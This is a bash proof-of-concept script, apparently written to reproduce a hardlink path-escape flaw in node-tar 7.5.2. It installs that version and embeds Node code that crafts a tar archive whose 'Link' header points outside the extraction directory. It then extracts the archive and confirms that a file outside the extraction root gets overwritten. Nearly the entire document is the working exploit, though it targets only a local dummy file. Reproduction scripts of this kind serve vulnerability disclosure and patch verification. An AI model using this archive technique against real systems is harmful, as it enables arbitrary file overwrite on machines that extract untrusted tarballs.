#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(dirname "$(realpath "$0")")"
ROOT_DIR="$(realpath "$SCRIPT_DIR/..")"
LOG_DIR="$ROOT_DIR/logs"
RUN_ID="$(date +%Y%m%d%H%M%S)"
LOG_FILE="$LOG_DIR/repro_${RUN_ID}.log"

mkdir -p "$LOG_DIR"

touch "$LOG_FILE"
exec > >(tee -a "$LOG_FILE") 2>&1

echo "[+] Starting reproduction at $(date)"

declare -a REQUIRED_CMDS=(node npm)
for cmd in "${REQUIRED_CMDS[@]}"; do
  if ! command -v "$cmd" >/dev/null 2>&1; then
    echo "[-] Missing required command: $cmd"
    exit 1
  fi
done

echo "[+] Verified required commands are present"

WORK_DIR="$ROOT_DIR/.repro_work"
PROJECT_DIR="$WORK_DIR/app"
OUT_DIR="$WORK_DIR/out"
TAR_FILE="$WORK_DIR/exploit.tar"
SECRET_FILE="$ROOT_DIR/secret.txt"
PAYLOAD_NAME="payload"

rm -rf "$WORK_DIR"
mkdir -p "$PROJECT_DIR" "$OUT_DIR"

echo "[+] Preparing npm project under $PROJECT_DIR"

cat <<'EOF' > "$PROJECT_DIR/package.json"
{
  "name": "node-tar-hardlink-poc",
  "version": "1.0.0",
  "private": true,
  "license": "UNLICENSED",
  "dependencies": {
    "tar": "7.5.2"
  }
}
EOF

echo "[+] Installing node-tar@7.5.2"
npm --prefix "$PROJECT_DIR" install --no-audit --no-fund >/dev/null

INSTALLED_VERSION=$(node -p "require(process.argv[1]).version" "$PROJECT_DIR/node_modules/tar/package.json")
if [[ "$INSTALLED_VERSION" != "7.5.2" ]]; then
  echo "[-] Unexpected node-tar version: $INSTALLED_VERSION"
  exit 1
fi

echo "[+] Confirmed node-tar version $INSTALLED_VERSION (<= 7.5.2)"

echo "ORIGINAL" > "$SECRET_FILE"
echo "[+] Created target file outside extraction root: $SECRET_FILE"

NODE_SCRIPT="$PROJECT_DIR/run_poc.js"
cat <<'EOF' > "$NODE_SCRIPT"
const fs = require('fs')
const path = require('path')
const tar = require('tar')

async function main() {
  const [,, secretFile, tarFile, outDir, payloadName] = process.argv
  console.log(`[+] Secret file: ${secretFile}`)
  console.log(`[+] Extraction directory: ${outDir}`)

  const header = new tar.Header({
    path: payloadName,
    type: 'Link',
    linkpath: secretFile,
    size: 0,
  })
  header.encode()
  const archive = Buffer.concat([header.block, Buffer.alloc(1024)])
  fs.writeFileSync(tarFile, archive)
  console.log(`[+] Crafted malicious archive at ${tarFile}`)

  await tar.x({ cwd: outDir, file: tarFile, preservePaths: false })
  console.log('[+] Extracted archive with preservePaths=false')

  const payloadFile = path.join(outDir, payloadName)
  fs.writeFileSync(payloadFile, 'EXPLOIT', 'utf8')
  console.log(`[+] Wrote EXPLOIT to ${payloadFile}`)

  const secretContents = fs.readFileSync(secretFile, 'utf8')
  console.log(`[+] secret.txt now contains: ${secretContents}`)

  if (secretContents === 'EXPLOIT') {
    console.log('[+] Reproduction successful: secret.txt overwritten via hardlink escape')
  } else {
    console.error('[-] Reproduction failed: secret.txt was not overwritten')
    process.exit(1)
  }
}

main().catch(err => {
  console.error(err)
  process.exit(1)
})
EOF

echo "[+] Running PoC script"
node "$NODE_SCRIPT" "$SECRET_FILE" "$TAR_FILE" "$OUT_DIR" "$PAYLOAD_NAME"

SECRET_CONTENTS=$(cat "$SECRET_FILE")
if [[ "$SECRET_CONTENTS" == "EXPLOIT" ]]; then
  echo "[+] Validation complete: secret.txt was overwritten"
  echo "[+] Reproduction complete"
  exit 0
else
  echo "[-] Validation failed: secret.txt still contains '$SECRET_CONTENTS'"
  exit 1
fi
